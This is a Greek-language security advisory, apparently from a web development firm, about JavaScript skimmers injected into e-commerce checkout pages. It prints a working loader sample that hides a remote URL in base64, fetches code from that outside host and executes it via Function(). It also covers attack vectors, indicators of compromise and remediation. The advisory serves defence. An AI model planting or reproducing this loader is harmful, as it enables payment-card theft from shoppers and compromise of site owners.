12/02/2026
⚠️Σημαντική Ενημέρωση Ασφαλείας – Malware τύπου Skimmer
Τις τελευταίες εβδομάδες παρατηρείται αυξημένη εμφάνιση malware τύπου skimmer βασισμένου σε JavaScript σε παραγωγικά περιβάλλοντα ηλεκτρονικών καταστημάτων (WordPress, custom PHP, Laravel κ.λπ.).
Το κακόβουλο λογισμικό εισάγεται μέσω script injection και στοχεύει άμεσα τις φόρμες και τα κουμπιά πληρωμών, αλλοιώνοντας τη ροή των συναλλαγών και ανακατευθύνοντάς τες σε υποδομές των επιτιθέμενων.
Δείγμα Κακόβουλου Κώδικα (Observed Payload):
(function(){
var x = new XMLHttpRequest;
x.open('GET', atob('aHR0cHM6Ly9wbHZiLnN1L2J0Lmpz'));
x.onload = function(){
if (x.status === 200) {
try { Function(x.responseText)(); } catch(e){}
}
};
x.send();
})();
Τεχνική Ανάλυση
‣ Χρήση atob() για απόκρυψη (obfuscation) του απομακρυσμένου endpoint (μεταβαλόμενο)
‣ Δυναμική φόρτωση εξωτερικού JavaScript payload
‣ Εκτέλεση κώδικα μέσω Function() (runtime ex*****on)
‣ Παράκαμψη απλών static scanners
Εκτέλεση αποκλειστικά client‑side, χωρίς καταγραφή σε server logs
Vector Επίθεσης
Συνήθεις τρόποι εισαγωγής:
‣ Παραβιασμένα plugins ή themes
‣ Μη ασφαλή δικαιώματα αρχείων
‣ Εκτεθειμένα ή αδύναμα admin credentials
‣ Άμεσο JavaScript injection στη βάση δεδομένων
‣ Τροποποιημένα template αρχεία (header.php, footer.php, checkout views)
Επιπτώσεις
‣ Παραποίηση φορμών και κουμπιών πληρωμών
‣ Ανακατεύθυνση ή αλλοίωση payment requests
‣ Οι πληρωμές καταλήγουν σε endpoints των επιτιθέμενων
‣ Καμία εμφανής αλλαγή στο UI για τον τελικό χρήστη
‣ Υψηλός κίνδυνος chargebacks, παραβίασης PCI και blacklisting
Indicators of Compromise (IoCs)
‣ Άγνωστα tags σε templates ή βάση δεδομένων
‣ Base64‑encoded URLs
‣ Εξωτερικά JavaScript calls σε άγνωστα domains
‣ Injected JS σε checkout / cart σελίδες
‣ Αλλαγές αρχείων χωρίς αντίστοιχο deployment
Άμεσες Ενέργειες
Επίπεδο Εφαρμογής
‣ Πλήρης έλεγχος template και JS αρχείων
‣ Έλεγχος βάσης δεδομένων για injected scripts
‣ Επιβεβαίωση ακεραιότητας core αρχείων
‣ Αφαίρεση όλων των άγνωστων scripts
‣ Re‑deploy από καθαρό source
Πρόσβαση & Credentials
‣ Reset όλων των admin / FTP / SSH / DB κωδικών
‣ Έλεγχος χρηστών και δικαιωμάτων
‣ Απενεργοποίηση ανενεργών λογαριασμών
Server / Hosting
‣ Ενεργοποίηση WAF κανόνων (JS injection / XSS / skimmer)
‣ File integrity monitoring
‣ Έλεγχος outbound traffic
‣ Περιορισμός inline script ex*****on όπου είναι δυνατό
‣ Εφαρμογή CSP headers
Πρόληψη
‣ Αυστηρό Content Security Policy (CSP)
‣ Read‑only filesystem όπου είναι εφικτό
‣ Διαχωρισμός staging / production
‣ Καμία απευθείας αλλαγή σε production
‣ Συνεχές monitoring και alerting
‣ Τακτικοί έλεγχοι ασφαλείας
Σοβαρότητα
Critical🚨 – Υψηλός οικονομικός κίνδυνος και κίνδυνος ακεραιότητας δεδομένων.
Συνιστάται άμεση αντιμετώπιση σε κάθε περιβάλλον που διαχειρίζεται πληρωμές.
Επαγγελματική κατασκευή ιστοσελίδων, e-shop και web εφαρμογών. Full stack development με Next.js, React και σύγχρονες τεχνολογίες.